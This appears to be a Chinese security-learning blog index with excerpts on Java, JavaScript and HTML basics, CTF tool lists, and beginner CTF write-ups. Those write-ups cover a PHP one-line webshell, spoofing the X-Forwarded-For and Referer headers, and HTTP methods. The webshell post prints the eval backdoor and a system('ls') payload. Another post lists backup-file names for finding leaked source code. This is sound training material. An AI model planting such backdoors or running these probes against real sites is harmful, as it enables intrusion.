Java基础
基础语法第一个Hello World程序12345public class HelloWorld { public static void main(String[] args){ System.out.println("Hello World!"); }}
运行结果:
基本语法编写 Java 程序时,应注意以下几点:
大小写敏感:Java 是大小写敏感的,这就意味着标识符 Hello 与 hello 是不同的。
类名:对于所有的类来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如 MyFirstJavaClass 。
方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写,例如main。
源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java。(如果文件名和类名不相同则会导致编译错误)。
主方法入口:所有的 Java 程序由 ...
常用链接
一、编码解码网站
Bugku 工具较多,base全家桶、古典、凯撒、栅栏等。
OSCHINA主要base64、散列/哈希、图片/base64转换这两个网站的工具平常够用。
#二、离线工具下载
CTF-HUB-TOOL种类多,较为常用。burpsuite、wireshark、图片隐写steg等工具。
#三、CTF练习平台
CTF-HUB(题目难度中等):有自己的技能树,清晰地查看自己所学方向的联系情况。
攻防世界(题目有初级到高级,循序渐进):难度区分有入门,进阶、精通等,适合入门。
BUU(题目难度高):大多比赛真题,适合进阶训练。
Red Dragonfly
123456789POST /DragonFlyServ/Api/webserver/login HTTP/1.1Content-Type: application/x-www-form-urlencodedConnection: closeCharset: UTF-8User-Agent: Dalvik/2.1.0 (Linux; U; Android 12; M2012K11AC Build/SKQ1.211006.001)Host: 218.195.237.156:8029Accept-Encoding: gzip, deflateContent-Length: 123
12345678HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Connection: closeServer: Jetty(9.2.10.v20150310){"r":"1","m":"1"}
备份文件下载
网站源码当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
常见的网站源码备份文件名:
web
website
backup
back
www
wwwroot
temp
常见的网站源码备份文件后缀:
tar
tar.gz
zip
rar
JavaScript笔记
简介JavaScript是一种高级的、解释型的编程语言。JavaScript是一门基于原型、头等函数的语言,是一门多范式的语言,它支持面向对象程序设计,指令式编程,以及函数式编程。在语法结构上,它与C语言有很多相似(例如if条件语句、switch语句、while循环、do-while循环等)。
JavaScript是一种脚本语言,其源代码在发往客户端执行之前不需经过编译,而是将文本格式的字符代码发送给浏览器由浏览器解释执行。解释型语言的弱点是安全性较差,而且在JavaScript中,如果一条执行不了,那么下面的语言也无法执行。
用法HTML 中的脚本必须位于 <script>与</script>标签之间。脚本可被放置在 HTML 页面的<body>和 <head> 部分中。
如果需要在HTML页面插入JavaScript,应使用<script>和</script>标签
脚本可位于 HTML 的<body>或<head>部分中,或者同时存在于两个部分中。还可以把脚本保存在外部文件。
通常的做法 ...
HTML笔记
简介超文本标记语言(Hyper Text Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。
HTML是一种标记语言而非编程语言。HTML 使用标记标签来描述网页。HTML 文档包含了HTML 标签及文本内容,HTML文档也叫做 web 页面。
基础部分示例
12345678910111213141516<!DOCTYPE html><html><head> <meta charset="UTF-8"><!--定义文档的编码格式为UTF-8--> <title>learn</title><!--定义文档的标题为learn--></head><body> <h1>一</h1><!--一级标题“一”--> <h2>二</h2><!-- ...
webshell
题目及分析小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
打开后出现
你会使用webshell吗?
<?php @eval($_POST['shell']);?>
这个明显是一句话木马。
eval()将括号里的字符串按照PHP代码来执行。
目标了解一句话木马,学会使用webshell
工具中国蚁剑或hackbar
步骤中国蚁剑解决1.首先添加数据
将URL地址粘贴进去,连接密码为shell,然后测试连接。不出意外的话,就能连接成功。连接成功后,点击添加。
2.进入网站目录寻找flag
在/var/www/html/中发现flag.txt,打开后得到cyberpeace{5d017cac216724ffba8b9c7f2ee1c366}
hackbar解决1.POST方式传递参数
在hackbar中将shell=system(“ls”);使用post方式上传上去,然后服务器执行ls命令,将当前工作目录的内容列出。
flag.txt index.php被列出。
2.打开flag.txt
然后在hackbar中将shell=system( ...
xff_referer
题目描述X老师告诉小宁其实xff和referer是可以伪造的。
打开场景,得到提示”ip地址必须为123.123.123.123“
解题使用burpsuite抓包,报文如下
1234567891011GET / HTTP/1.1Host: 111.200.241.244:53941Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept- ...
get&post
CTFHub_Write_Up
Web前置技能——HTTP协议——请求方式
题意点击所给链接,下列代码显示在页面上
123456HTTP Method is GETUse CTF**B Method, I will give you flag.Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php.
说明本题需要用GET方式请求index.php,而且要用CTF**B Method
解题如果使用get方式的话,的不到flag,响应包如下
1234567891011121314151617181920212223HTTP/1.1 200 OKServer: openresty/1.19.3.2Date: Sun, 05 Dec 2021 13:56:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/5.6.40Access-Control-Allow-Origin: *Acces ...
GET&POST请求
GET请求使用GET方式提交一个名为a,值为1的变量。
1GET /?a=1 HTTP/1.1
POST请求使用POST方式提交一个名为b,值为2的变量。
将请求方式改为POST,然后将下列代码写在最后
1Content-Type: application/x-www-form-urlencoded
然后空一行输入需要提交的变量
例如:
123Content-Type: application/x-www-form-urlencodedb=2